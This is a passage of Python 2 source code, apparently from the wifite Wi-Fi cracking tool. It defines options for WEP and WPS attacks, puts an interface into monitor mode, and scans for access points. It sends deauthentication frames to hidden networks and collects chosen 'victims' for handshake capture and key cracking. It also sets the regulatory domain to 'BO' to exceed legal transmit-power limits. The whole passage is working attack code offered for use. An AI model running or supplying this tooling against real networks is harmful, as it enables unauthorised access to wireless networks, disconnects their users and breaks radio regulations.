  655. wep_group.add_argument('--arpreplay', help='Use arpreplay attack.', default=False, action='store_true',
  656. dest='arpreplay')
  657. wep_group.add_argument('-arpreplay', help=argparse.SUPPRESS, default=False, action='store_true',
  658. dest='arpreplay')
  659. wep_group.add_argument('--fragment', help='Use fragmentation attack.', default=False, action='store_true',
  660. dest='fragment')
  661. wep_group.add_argument('-fragment', help=argparse.SUPPRESS, default=False, action='store_true', dest='fragment')
  662. wep_group.add_argument('--caffelatte', help='Use caffe-latte attack.', default=False, action='store_true',
  663. dest='caffeelatte')
  664. wep_group.add_argument('-caffelatte', help=argparse.SUPPRESS, default=False, action='store_true',
  665. dest='caffeelatte')
  666. wep_group.add_argument('--p0841', help='Use P0842 attack.', default=False, action='store_true', dest='p0841')
  667. wep_group.add_argument('-p0841', help=argparse.SUPPRESS, default=False, action='store_true', dest='p0841')
  668. wep_group.add_argument('--hirte', help='Use hirte attack.', default=False, action='store_true', dest='hirte')
  669. wep_group.add_argument('-hirte', help=argparse.SUPPRESS, default=False, action='store_true', dest='hirte')
  670. wep_group.add_argument('--nofakeauth', help='Stop attack if fake authentication fails.', default=False,
  671. action='store_true', dest='fakeauth')
  672. wep_group.add_argument('-nofakeauth', help=argparse.SUPPRESS, default=False, action='store_true',
  673. dest='fakeauth')
  674. wep_group.add_argument('--wepca', help='Start cracking when number of IVs surpass [n].', action='store',
  675. dest='wepca')
  676. wep_group.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wepca')
  677. wep_group.add_argument('--wepsave', help='Save a copy of .cap files to this directory.', default=None,
  678. action='store', dest='wepsave')
  679. wep_group.add_argument('-wepsave', help=argparse.SUPPRESS, default=None, action='store', dest='wepsave')
  680. # set WPS commands
  681. wps_group = option_parser.add_argument_group('WPS')
  682. wps_group.add_argument('--wps', help='Only target WPS networks.', default=False, action='store_true',
  683. dest='wps')
  684. wps_group.add_argument('-wps', help=argparse.SUPPRESS, default=False, action='store_true', dest='wps')
  685. wps_group.add_argument('--pixie', help='Only use the WPS PixieDust attack', default=False, action='store_true', dest='pixie')
  686. wps_group.add_argument('--wpst', help='Max wait for new retry before giving up (0: never).', action='store',
  687. dest='wpst')
  688. wps_group.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wpst')
  689. wps_group.add_argument('--wpsratio', help='Min ratio of successful PIN attempts/total retries.', action='store',
  690. dest='wpsratio')
  691. wps_group.add_argument('-wpsratio', help=argparse.SUPPRESS, action='store', dest='wpsratio')
  692. wps_group.add_argument('--wpsretry', help='Max number of retries for same PIN before giving up.',
  693. action='store', dest='wpsretry')
  694. wps_group.add_argument('-wpsretry', help=argparse.SUPPRESS, action='store', dest='wpsretry')
  695. return option_parser
  696. def upgrade(self):
  697. """
  698. Checks for new version, prompts to upgrade, then
  699. replaces this script with the latest from the repo
  700. """
  701. try:
  702. print GR + ' [!]' + W + ' upgrading requires an ' + G + 'internet connection' + W
  703. print GR + ' [+]' + W + ' checking for latest version...'
  704. revision = get_revision()
  705. if revision == -1:
  706. print R + ' [!]' + O + ' unable to access GitHub' + W
  707. elif revision > self.REVISION:
  708. print GR + ' [!]' + W + ' a new version is ' + G + 'available!' + W
  709. print GR + ' [-]' + W + ' revision: ' + G + str(revision) + W
  710. response = raw_input(GR + ' [+]' + W + ' do you want to upgrade to the latest version? (y/n): ')
  711. if not response.lower().startswith('y'):
  712. print GR + ' [-]' + W + ' upgrading ' + O + 'aborted' + W
  713. self.exit_gracefully(0)
  714. return
  715. # Download script, replace with this one
  716. print GR + ' [+] ' + G + 'downloading' + W + ' update...'
  717. try:
  718. sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py')
  719. page = sock.read()
  720. except IOError:
  721. page = ''
  722. if page == '':
  723. print R + ' [+] ' + O + 'unable to download latest version' + W
  724. self.exit_gracefully(1)
  725. # Create/save the new script
  726. f = open('wifite_new.py', 'w')
  727. f.write(page)
  728. f.close()
  729. # The filename of the running script
  730. this_file = __file__
  731. if this_file.startswith('./'):
  732. this_file = this_file[2:]
  733. # create/save a shell script that replaces this script with the new one
  734. f = open('update_wifite.sh', 'w')
  735. f.write('''#!/bin/sh\n
  736. rm -rf ''' + this_file + '''\n
  737. mv wifite_new.py ''' + this_file + '''\n
  738. rm -rf update_wifite.sh\n
  739. chmod +x ''' + this_file + '''\n
  740. ''')
  741. f.close()
  742. # Change permissions on the script
  743. returncode = call(['chmod', '+x', 'update_wifite.sh'])
  744. if returncode != 0:
  745. print R + ' [!]' + O + ' permission change returned unexpected code: ' + str(returncode) + W
  746. self.exit_gracefully(1)
  747. # Run the script
  748. returncode = call(['sh', 'update_wifite.sh'])
  749. if returncode != 0:
  750. print R + ' [!]' + O + ' upgrade script returned unexpected code: ' + str(returncode) + W
  751. self.exit_gracefully(1)
  752. print GR + ' [+] ' + G + 'updated!' + W + ' type "./' + this_file + '" to run again'
  753. else:
  754. print GR + ' [-]' + W + ' your copy of wifite is ' + G + 'up to date' + W
  755. except KeyboardInterrupt:
  756. print R + '\n (^C)' + O + ' wifite upgrade interrupted' + W
  757. self.exit_gracefully(0)
  758. class RunEngine:
  759. def __init__(self, run_config):
  760. self.RUN_CONFIG = run_config
  761. self.RUN_CONFIG.RUN_ENGINE = self
  762. def initial_check(self):
  763. """
  764. Ensures required programs are installed.
  765. """
  766. airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']
  767. for air in airs:
  768. if program_exists(air): continue
  769. print R + ' [!]' + O + ' required program not found: %s' % (R + air + W)
  770. print R + ' [!]' + O + ' this program is bundled with the aircrack-ng suite:' + W
  771. print R + ' [!]' + O + ' ' + C + 'http://www.aircrack-ng.org/' + W
  772. print R + ' [!]' + O + ' or: ' + W + 'sudo apt-get install aircrack-ng\n' + W
  773. self.RUN_CONFIG.exit_gracefully(1)
  774. if not program_exists('iw'):
  775. print R + ' [!]' + O + ' airmon-ng requires the program %s\n' % (R + 'iw' + W)
  776. self.RUN_CONFIG.exit_gracefully(1)
  777. printed = False
  778. # Check reaver
  779. if not program_exists('reaver'):
  780. printed = True
  781. print R + ' [!]' + O + ' the program ' + R + 'reaver' + O + ' is required for WPS attacks' + W
  782. print R + ' ' + O + ' available at ' + C + 'http://code.google.com/p/reaver-wps' + W
  783. self.RUN_CONFIG.WPS_DISABLE = True
  784. elif not program_exists('walsh') and not program_exists('wash'):
  785. printed = True
  786. print R + ' [!]' + O + ' reaver\'s scanning tool ' + R + 'walsh' + O + ' (or ' + R + 'wash' + O + ') was not found' + W
  787. print R + ' [!]' + O + ' please re-install reaver or install walsh/wash separately' + W
  788. # Check handshake-checking apps
  789. recs = ['tshark', 'pyrit', 'cowpatty']
  790. for rec in recs:
  791. if program_exists(rec): continue
  792. printed = True
  793. print R + ' [!]' + O + ' the program %s is not required, but is recommended%s' % (R + rec + O, W)
  794. if printed: print ''
  795. def enable_monitor_mode(self, iface):
  796. """
  797. First attempts to anonymize the MAC if requested; MACs cannot
  798. be anonymized if they're already in monitor mode.
  799. Uses airmon-ng to put a device into Monitor Mode.
  800. Then uses the get_iface() method to retrieve the new interface's name.
  801. Sets global variable IFACE_TO_TAKE_DOWN as well.
  802. Returns the name of the interface in monitor mode.
  803. """
  804. mac_anonymize(iface)
  805. print GR + ' [+]' + W + ' enabling monitor mode on %s...' % (G + iface + W),
  806. stdout.flush()
  807. call(['airmon-ng', 'check', 'kill'], stdout=DN, stderr=DN)
  808. call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)
  809. print 'done'
  810. self.RUN_CONFIG.WIRELESS_IFACE = '' # remove this reference as we've started its monitoring counterpart
  811. self.RUN_CONFIG.IFACE_TO_TAKE_DOWN = self.get_iface()
  812. if self.RUN_CONFIG.TX_POWER > 0:
  813. print GR + ' [+]' + W + ' setting Tx power to %s%s%s...' % (G, self.RUN_CONFIG.TX_POWER, W),
  814. call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG)
  815. call(['iwconfig', iface, 'txpower', self.RUN_CONFIG.TX_POWER], stdout=OUTLOG, stderr=ERRLOG)
  816. print 'done'
  817. return self.RUN_CONFIG.IFACE_TO_TAKE_DOWN
  818. def disable_monitor_mode(self):
  819. """
  820. The program may have enabled monitor mode on a wireless interface.
  821. We want to disable this before we exit, so we will do that.
  822. """
  823. if self.RUN_CONFIG.IFACE_TO_TAKE_DOWN == '': return
  824. print GR + ' [+]' + W + ' disabling monitor mode on %s...' % (G + self.RUN_CONFIG.IFACE_TO_TAKE_DOWN + W),
  825. stdout.flush()
  826. call(['airmon-ng', 'stop', self.RUN_CONFIG.IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN)
  827. print 'done'
  828. def rtl8187_fix(self, iface):
  829. """
  830. Attempts to solve "Unknown error 132" common with RTL8187 devices.
  831. Puts down interface, unloads/reloads driver module, then puts iface back up.
  832. Returns True if fix was attempted, False otherwise.
  833. """
  834. # Check if current interface is using the RTL8187 chipset
  835. proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  836. proc_airmon.wait()
  837. using_rtl8187 = False
  838. for line in proc_airmon.communicate()[0].split():
  839. line = line.upper()
  840. if line.strip() == '' or line.startswith('INTERFACE'): continue
  841. if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True
  842. if not using_rtl8187:
  843. # Display error message and exit
  844. print R + ' [!]' + O + ' unable to generate airodump-ng CSV file' + W
  845. print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
  846. self.RUN_CONFIG.exit_gracefully(1)
  847. print O + " [!]" + W + " attempting " + O + "RTL8187 'Unknown Error 132'" + W + " fix..."
  848. original_iface = iface
  849. # Take device out of monitor mode
  850. airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN)
  851. airmon.wait()
  852. for line in airmon.communicate()[0].split('\n'):
  853. if line.strip() == '' or \
  854. line.startswith("Interface") or \
  855. line.find('(removed)') != -1:
  856. continue
  857. original_iface = line.split()[0] # line[:line.find('\t')]
  858. # Remove drive modules, block/unblock ifaces, probe new modules.
  859. print_and_exec(['ifconfig', original_iface, 'down'])
  860. print_and_exec(['rmmod', 'rtl8187'])
  861. print_and_exec(['rfkill', 'block', 'all'])
  862. print_and_exec(['rfkill', 'unblock', 'all'])
  863. print_and_exec(['modprobe', 'rtl8187'])
  864. print_and_exec(['ifconfig', original_iface, 'up'])
  865. print_and_exec(['airmon-ng', 'start', original_iface])
  866. print '\r \r',
  867. print O + ' [!] ' + W + 'restarting scan...\n'
  868. return True
  869. def get_iface(self):
  870. """
  871. Get the wireless interface in monitor mode.
  872. Defaults to only device in monitor mode if found.
  873. Otherwise, enumerates list of possible wifi devices
  874. and asks user to select one to put into monitor mode (if multiple).
  875. Uses airmon-ng to put device in monitor mode if needed.
  876. Returns the name (string) of the interface chosen in monitor mode.
  877. """
  878. if not self.RUN_CONFIG.PRINTED_SCANNING:
  879. print GR + ' [+]' + W + ' scanning for wireless devices...'
  880. self.RUN_CONFIG.PRINTED_SCANNING = True
  881. proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
  882. iface = ''
  883. monitors = []
  884. adapters = []
  885. for line in proc.communicate()[0].split('\n'):
  886. if len(line) == 0: continue
  887. if ord(line[0]) != 32: # Doesn't start with space
  888. iface = line[:line.find(' ')] # is the interface
  889. if line.find('Mode:Monitor') != -1:
  890. if iface not in monitors:
  891. #print GR + ' [+] found monitor inferface: ' + iface
  892. monitors.append(iface)
  893. else:
  894. if iface not in adapters:
  895. #print GR + ' [+] found wireless inferface: ' + iface
  896. adapters.append(iface)
  897. if self.RUN_CONFIG.WIRELESS_IFACE != '':
  898. if monitors.count(self.RUN_CONFIG.WIRELESS_IFACE):
  899. return self.RUN_CONFIG.WIRELESS_IFACE
  900. else:
  901. if self.RUN_CONFIG.WIRELESS_IFACE in adapters:
  902. # valid adapter, enable monitor mode
  903. print R + ' [!]' + O + ' could not find wireless interface %s in monitor mode' % (
  904. R + '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + '"' + O)
  905. return self.enable_monitor_mode(self.RUN_CONFIG.WIRELESS_IFACE)
  906. else:
  907. # couldnt find the requested adapter
  908. print R + ' [!]' + O + ' could not find wireless interface %s' % (
  909. '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + O + '"' + W)
  910. self.RUN_CONFIG.exit_gracefully(0)
  911. if len(monitors) == 1:
  912. return monitors[0] # Default to only device in monitor mode
  913. elif len(monitors) > 1:
  914. print GR + " [+]" + W + " interfaces in " + G + "monitor mode:" + W
  915. for i, monitor in enumerate(monitors):
  916. print " %s. %s" % (G + str(i + 1) + W, G + monitor + W)
  917. ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \
  918. (GR, W, G, W, G, len(monitors), W, G))
  919. while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  920. ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \
  921. (GR, W, G, len(monitors), W, G))
  922. i = int(ri)
  923. return monitors[i - 1]
  924. proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  925. for line in proc.communicate()[0].split('\n'):
  926. if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'): continue
  927. if line.startswith('phy'): line = line.split('\t', 1)[1]
  928. monitors.append(line)
  929. if len(monitors) == 0:
  930. print R + ' [!]' + O + " no wireless interfaces were found." + W
  931. print R + ' [!]' + O + " you need to plug in a wifi device or install drivers.\n" + W
  932. self.RUN_CONFIG.exit_gracefully(0)
  933. elif self.RUN_CONFIG.WIRELESS_IFACE != '' and monitors.count(self.RUN_CONFIG.WIRELESS_IFACE) > 0:
  934. monitor = monitors[0][:monitors[0].find('\t')]
  935. return self.enable_monitor_mode(monitor)
  936. elif len(monitors) == 1:
  937. monitor = monitors[0][:monitors[0].find('\t')]
  938. if monitor.startswith('phy'): monitor = monitors[0].split()[1]
  939. return self.enable_monitor_mode(monitor)
  940. print GR + " [+]" + W + " available wireless devices:"
  941. for i, monitor in enumerate(monitors):
  942. print " %s%d%s. %s" % (G, i + 1, W, monitor)
  943. ri = raw_input(
  944. GR + " [+]" + W + " select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  945. while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  946. ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  947. i = int(ri)
  948. monitor = monitors[i - 1][:monitors[i - 1].find('\t')]
  949. return self.enable_monitor_mode(monitor)
  950. def scan(self, channel=0, iface='', tried_rtl8187_fix=False):
  951. """
  952. Scans for access points. Asks user to select target(s).
  953. "channel" - the channel to scan on, 0 scans all channels.
  954. "iface" - the interface to scan on. must be a real interface.
  955. "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"
  956. Returns list of selected targets and list of clients.
  957. """
  958. remove_airodump_files(self.RUN_CONFIG.temp + 'wifite')
  959. command = ['airodump-ng',
  960. '-a', # only show associated clients
  961. '-w', self.RUN_CONFIG.temp + 'wifite'] # output file
  962. if channel != 0:
  963. command.append('-c')
  964. command.append(str(channel))
  965. command.append(iface)
  966. proc = Popen(command, stdout=DN, stderr=DN)
  967. time_started = time.time()
  968. print GR + ' [+] ' + G + 'initializing scan' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.'
  969. (targets, clients) = ([], [])
  970. try:
  971. deauth_sent = 0.0
  972. old_targets = []
  973. stop_scanning = False
  974. while True:
  975. time.sleep(0.3)
  976. if not os.path.exists(self.RUN_CONFIG.temp + 'wifite-01.csv') and time.time() - time_started > 1.0:
  977. print R + '\n [!] ERROR!' + W
  978. # RTL8187 Unknown Error 132 FIX
  979. if proc.poll() is not None: # Check if process has finished
  980. proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE)
  981. if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1:
  982. send_interrupt(proc)
  983. if self.rtl8187_fix(iface):
  984. return self.scan(channel=channel, iface=iface, tried_rtl8187_fix=True)
  985. print R + ' [!]' + O + ' wifite is unable to generate airodump-ng output files' + W
  986. print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
  987. self.RUN_CONFIG.exit_gracefully(1)
  988. (targets, clients) = self.parse_csv(self.RUN_CONFIG.temp + 'wifite-01.csv')
  989. # Remove any already cracked networks if configured to do so
  990. if self.RUN_CONFIG.SHOW_ALREADY_CRACKED == False:
  991. index = 0
  992. while index < len(targets):
  993. already = False
  994. for cracked in self.RUN_CONFIG.CRACKED_TARGETS:
  995. if targets[index].ssid.lower() == cracked.ssid.lower():
  996. already = True
  997. if targets[index].bssid.lower() == cracked.bssid.lower():
  998. already = True
  999. if already == True:
  1000. targets.pop(index)
  1001. index -= 1
  1002. index += 1
  1003. # If we are targeting a specific ESSID/BSSID, skip the scan once we find it.
  1004. if self.RUN_CONFIG.TARGET_ESSID != '':
  1005. for t in targets:
  1006. if t.ssid.lower() == self.RUN_CONFIG.TARGET_ESSID.lower():
  1007. send_interrupt(proc)
  1008. try:
  1009. os.kill(proc.pid, SIGTERM)
  1010. except OSError:
  1011. pass
  1012. except UnboundLocalError:
  1013. pass
  1014. targets = [t]
  1015. stop_scanning = True
  1016. break
  1017. if self.RUN_CONFIG.TARGET_BSSID != '':
  1018. for t in targets:
  1019. if t.bssid.lower() == self.RUN_CONFIG.TARGET_BSSID.lower():
  1020. send_interrupt(proc)
  1021. try:
  1022. os.kill(proc.pid, SIGTERM)
  1023. except OSError:
  1024. pass
  1025. except UnboundLocalError:
  1026. pass
  1027. targets = [t]
  1028. stop_scanning = True
  1029. break
  1030. # If user has chosen to target all access points, wait 20 seconds, then return all
  1031. if self.RUN_CONFIG.ATTACK_ALL_TARGETS and time.time() - time_started > 10:
  1032. print GR + '\n [+]' + W + ' auto-targeted %s%d%s access point%s' % (
  1033. G, len(targets), W, '' if len(targets) == 1 else 's')
  1034. stop_scanning = True
  1035. if self.RUN_CONFIG.ATTACK_MIN_POWER > 0 and time.time() - time_started > 10:
  1036. # Remove targets with power < threshold
  1037. i = 0
  1038. before_count = len(targets)
  1039. while i < len(targets):
  1040. if targets[i].power < self.RUN_CONFIG.ATTACK_MIN_POWER:
  1041. targets.pop(i)
  1042. else:
  1043. i += 1
  1044. print GR + '\n [+]' + W + ' removed %s targets with power < %ddB, %s remain' % \
  1045. (G + str(before_count - len(targets)) + W,
  1046. self.RUN_CONFIG.ATTACK_MIN_POWER, G + str(len(targets)) + W)
  1047. stop_scanning = True
  1048. if stop_scanning: break
  1049. # If there are unknown SSIDs, send deauths to them.
  1050. if self.RUN_CONFIG.SEND_DEAUTHS and channel != 0 and time.time() - deauth_sent > 5:
  1051. deauth_sent = time.time()
  1052. for t in targets:
  1053. if t.ssid == '':
  1054. print "\r %s deauthing hidden access point (%s) \r" % \
  1055. (GR + sec_to_hms(time.time() - time_started) + W, G + t.bssid + W),
  1056. stdout.flush()
  1057. # Time to deauth
  1058. cmd = ['aireplay-ng',
  1059. '--ignore-negative-one',
  1060. '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  1061. '-a', t.bssid]
  1062. for c in clients:
  1063. if c.station == t.bssid:
  1064. cmd.append('-c')
  1065. cmd.append(c.bssid)
  1066. break
  1067. cmd.append(iface)
  1068. proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  1069. proc_aireplay.wait()
  1070. time.sleep(0.5)
  1071. else:
  1072. for ot in old_targets:
  1073. if ot.ssid == '' and ot.bssid == t.bssid:
  1074. print '\r %s successfully decloaked "%s" ' % \
  1075. (GR + sec_to_hms(time.time() - time_started) + W, G + t.ssid + W)
  1076. old_targets = targets[:]
  1077. if self.RUN_CONFIG.VERBOSE_APS and len(targets) > 0:
  1078. targets = sorted(targets, key=lambda t: t.power, reverse=True)
  1079. if not self.RUN_CONFIG.WPS_DISABLE:
  1080. wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap', verbose=False)
  1081. os.system('clear')
  1082. print GR + '\n [+] ' + G + 'scanning' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.\n'
  1083. print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % (
  1084. 'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1085. print ' --- -------------------- %s-- ---- ----- ---- ------' % (
  1086. '----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1087. for i, target in enumerate(targets):
  1088. print " %s%2d%s " % (G, i + 1, W),
  1089. # SSID
  1090. if target.ssid == '':
  1091. p = O + '(' + target.bssid + ')' + GR + ' ' + W
  1092. print '%s' % p.ljust(20),
  1093. elif ( target.ssid.count('\x00') == len(target.ssid) ):
  1094. p = '<Length ' + str(len(target.ssid)) + '>'
  1095. print '%s' % C + p.ljust(20) + W,
  1096. elif len(target.ssid) <= 20:
  1097. print "%s" % C + target.ssid.ljust(20) + W,
  1098. else:
  1099. print "%s" % C + target.ssid[0:17] + '...' + W,
  1100. # BSSID
  1101. if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
  1102. print O, target.bssid + W,
  1103. # Channel
  1104. print G + target.channel.rjust(3), W,
  1105. # Encryption
  1106. if target.encryption.find("WEP") != -1:
  1107. print G,
  1108. else:
  1109. print O,
  1110. print "\b%3s" % target.encryption.strip().ljust(4) + W,
  1111. # Power
  1112. if target.power >= 55:
  1113. col = G
  1114. elif target.power >= 40:
  1115. col = O
  1116. else:
  1117. col = R
  1118. print "%s%3ddb%s" % (col, target.power, W),
  1119. # WPS
  1120. if self.RUN_CONFIG.WPS_DISABLE:
  1121. print " %3s" % (O + 'n/a' + W),
  1122. else:
  1123. print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
  1124. # Clients
  1125. client_text = ''
  1126. for c in clients:
  1127. if c.station == target.bssid:
  1128. if client_text == '':
  1129. client_text = 'client'
  1130. elif client_text[-1] != "s":
  1131. client_text += "s"
  1132. if client_text != '':
  1133. print ' %s' % (G + client_text + W)
  1134. else:
  1135. print ''
  1136. print ''
  1137. print ' %s %s wireless networks. %s target%s and %s client%s found \r' % (
  1138. GR + sec_to_hms(time.time() - time_started) + W, G + 'scanning' + W,
  1139. G + str(len(targets)) + W, '' if len(targets) == 1 else 's',
  1140. G + str(len(clients)) + W, '' if len(clients) == 1 else 's'),
  1141. stdout.flush()
  1142. except KeyboardInterrupt:
  1143. pass
  1144. print ''
  1145. send_interrupt(proc)
  1146. try:
  1147. os.kill(proc.pid, SIGTERM)
  1148. except OSError:
  1149. pass
  1150. except UnboundLocalError:
  1151. pass
  1152. # Use "wash" program to check for WPS compatibility
  1153. if not self.RUN_CONFIG.WPS_DISABLE:
  1154. wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap')
  1155. remove_airodump_files(self.RUN_CONFIG.temp + 'wifite')
  1156. if stop_scanning:
  1157. return (targets, clients)
  1158. print ''
  1159. if len(targets) == 0:
  1160. print R + ' [!]' + O + ' no targets found!' + W
  1161. print R + ' [!]' + O + ' you may need to wait for targets to show up.' + W
  1162. print ''
  1163. self.RUN_CONFIG.exit_gracefully(1)
  1164. if self.RUN_CONFIG.VERBOSE_APS: os.system('clear')
  1165. # Sort by Power
  1166. targets = sorted(targets, key=lambda t: t.power, reverse=True)
  1167. victims = []
  1168. print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % (
  1169. 'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1170. print ' --- -------------------- %s-- ---- ----- ---- ------' % (
  1171. '----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1172. for i, target in enumerate(targets):
  1173. print " %s%2d%s " % (G, i + 1, W),
  1174. # SSID
  1175. if target.ssid == '':
  1176. p = O + '(' + target.bssid + ')' + GR + ' ' + W
  1177. print '%s' % p.ljust(20),
  1178. elif ( target.ssid.count('\x00') == len(target.ssid) ):
  1179. p = '<Length ' + str(len(target.ssid)) + '>'
  1180. print '%s' % C + p.ljust(20) + W,
  1181. elif len(target.ssid) <= 20:
  1182. print "%s" % C + target.ssid.ljust(20) + W,
  1183. else:
  1184. print "%s" % C + target.ssid[0:17] + '...' + W,
  1185. # BSSID
  1186. if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
  1187. print O, target.bssid + W,
  1188. # Channel
  1189. print G + target.channel.rjust(3), W,
  1190. # Encryption
  1191. if target.encryption.find("WEP") != -1:
  1192. print G,
  1193. else:
  1194. print O,
  1195. print "\b%3s" % target.encryption.strip().ljust(4) + W,
  1196. # Power
  1197. if target.power >= 55:
  1198. col = G
  1199. elif target.power >= 40:
  1200. col = O
  1201. else:
  1202. col = R
  1203. print "%s%3ddb%s" % (col, target.power, W),
  1204. # WPS
  1205. if self.RUN_CONFIG.WPS_DISABLE:
  1206. print " %3s" % (O + 'n/a' + W),
  1207. else:
  1208. print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
  1209. # Clients
  1210. client_text = ''
  1211. for c in clients:
  1212. if c.station == target.bssid:
  1213. if client_text == '':
  1214. client_text = 'client'
  1215. elif client_text[-1] != "s":
  1216. client_text += "s"
  1217. if client_text != '':
  1218. print ' %s' % (G + client_text + W)
  1219. else:
  1220. print ''
  1221. ri = raw_input(
  1222. GR + "\n [+]" + W + " select " + G + "target numbers" + W + " (" + G + "1-%s)" % (str(len(targets)) + W) + \
  1223. " separated by commas, or '%s': " % (G + 'all' + W))
  1224. if ri.strip().lower() == 'all':
  1225. victims = targets[:]
  1226. else:
  1227. for r in ri.split(','):
  1228. r = r.strip()
  1229. if r.find('-') != -1:
  1230. (sx, sy) = r.split('-')
  1231. if sx.isdigit() and sy.isdigit():
  1232. x = int(sx)
  1233. y = int(sy) + 1
  1234. for v in xrange(x, y):
  1235. victims.append(targets[v - 1])
  1236. elif not r.isdigit() and r.strip() != '':
  1237. print O + " [!]" + R + " not a number: %s " % (O + r + W)
  1238. elif r != '':
  1239. victims.append(targets[int(r) - 1])
  1240. if len(victims) == 0:
  1241. print O + '\n [!] ' + R + 'no targets selected.\n' + W
  1242. self.RUN_CONFIG.exit_gracefully(0)
  1243. print ''
  1244. print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')
  1245. return (victims, clients)
  1246. def Start(self):
  1247. self.RUN_CONFIG.CreateTempFolder()
  1248. self.RUN_CONFIG.handle_args()
  1249. self.RUN_CONFIG.ConfirmRunningAsRoot()
  1250. self.RUN_CONFIG.ConfirmCorrectPlatform()
  1251. self.initial_check() # Ensure required programs are installed.
  1252. # Use an interface already in monitor mode if it has been provided,
  1253. if self.RUN_CONFIG.MONITOR_IFACE != '':
  1254. iface = self.RUN_CONFIG.MONITOR_IFACE
  1255. else:
  1256. # The "get_iface" method anonymizes the MAC address (if needed)
  1257. # and puts the interface into monitor mode.
  1258. iface = self.get_iface()
  1259. self.RUN_CONFIG.THIS_MAC = get_mac_address(iface) # Store current MAC address
  1260. (targets, clients) = self.scan(iface=iface, channel=self.RUN_CONFIG.TARGET_CHANNEL)
  1261. try:
  1262. index = 0
  1263. while index < len(targets):
  1264. target = targets[index]
  1265. # Check if we have already cracked this target
  1266. for already in RUN_CONFIG.CRACKED_TARGETS:
  1267. if already.bssid == targets[index].bssid:
  1268. if RUN_CONFIG.SHOW_ALREADY_CRACKED == True:
  1269. print R + '\n [!]' + O + ' you have already cracked this access point\'s key!' + W
  1270. print R + ' [!] %s' % (C + already.ssid + W + ': "' + G + already.key + W + '"')
  1271. ri = raw_input(
  1272. GR + ' [+] ' + W + 'do you want to crack this access point again? (' + G + 'y/' + O + 'n' + W + '): ')
  1273. if ri.lower() == 'n':
  1274. targets.pop(index)
  1275. index -= 1
  1276. else:
  1277. targets.pop(index)
  1278. index -= 1
  1279. break
  1280. # Check if handshakes already exist, ask user whether to skip targets or save new handshakes
  1281. handshake_file = RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
  1282. + '_' + target.bssid.replace(':', '-') + '.cap'
  1283. if os.path.exists(handshake_file):
  1284. print R + '\n [!] ' + O + 'you already have a handshake file for %s:' % (C + target.ssid + W)
  1285. print ' %s\n' % (G + handshake_file + W)
  1286. print GR + ' [+]' + W + ' do you want to ' + G + '[s]kip' + W + ', ' + O + '[c]apture again' + W + ', or ' + R + '[o]verwrite' + W + '?'
  1287. ri = 'x'
  1288. while ri != 's' and ri != 'c' and ri != 'o':
  1289. ri = raw_input(
  1290. GR + ' [+] ' + W + 'enter ' + G + 's' + W + ', ' + O + 'c,' + W + ' or ' + R + 'o' + W + ': ' + G).lower()
  1291. print W + "\b",
  1292. if ri == 's':
  1293. targets.pop(index)
  1294. index -= 1
  1295. elif ri == 'o':
  1296. remove_file(handshake_file)
  1297. continue
  1298. index += 1
  1299. except KeyboardInterrupt:
  1300. print '\n ' + R + '(^C)' + O + ' interrupted\n'
  1301. self.RUN_CONFIG.exit_gracefully(0)
  1302. wpa_success = 0
  1303. wep_success = 0
  1304. wpa_total = 0
  1305. wep_total = 0
  1306. self.RUN_CONFIG.TARGETS_REMAINING = len(targets)
  1307. for t in targets:
  1308. self.RUN_CONFIG.TARGETS_REMAINING -= 1
  1309. # Build list of clients connected to target
  1310. ts_clients = []
  1311. for c in clients:
  1312. if c.station == t.bssid:
  1313. ts_clients.append(c)
  1314. print ''
  1315. if t.encryption.find('WPA') != -1:
  1316. need_handshake = True
  1317. if not self.RUN_CONFIG.WPS_DISABLE and t.wps:
